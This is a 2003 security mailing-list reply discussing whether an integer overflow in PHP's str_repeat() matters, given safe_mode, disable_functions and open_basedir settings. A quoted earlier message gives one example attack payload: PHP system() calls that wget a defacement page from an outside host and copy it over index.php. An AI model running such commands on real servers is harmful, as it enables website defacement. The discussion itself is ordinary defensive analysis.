Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function

[Javi Lavandeira <javi () isr co jp>]

Hi,

On Thu, 3 Apr 2003 08:39:03 +0200
Goran Krajnovic <goran.krajnovic () hinet hr> wrote:

> [...]
> If an attacker has the opportunity to execude PHP code of his choice on a
> target server [1], he does not need to exploit a buffer overflow in PHP just to
> get the privileges of the web server user - he already runs code with the
> privileges of that user. And having the ability to run PHP code gives him just
> about the same level of power as getting a non-root shell on the box.
> [...]
> [1] Usually by exploiting some of the poor programming practices in some PHP
> applications, misconfigurations, or bugs. See
> http://www.securityfocus.com/bid/3889 for example. In a typical attack, this is
> used to execute code, and the code is usually system('wget
> http://another.exploited.host/defaced-index.php&apos;); system('cp defaced-index.php
> index.php') or similar.

You seem to be forgetting about PHP's safe_mode, disable_functions and open_basedir directives. If configured properly, 
a user in a server with PHP support should not be able to execute commands, read other users' files or do anything 
outside his directory. Even though PHP is running with the privileges of the web server, the user doesn't have these 
privileges (again, if properly configured). Many ISPs configure PHP in this way.

*IF* the overflow really exists *AND* is exploitable, I would be very worried, because *THEN* users could gain the 
privileges of the web server and do things they shouldn't be doing.

Regards,

-- 
Javier Lavandeira
International Systems Research
http://www.isr.co.jp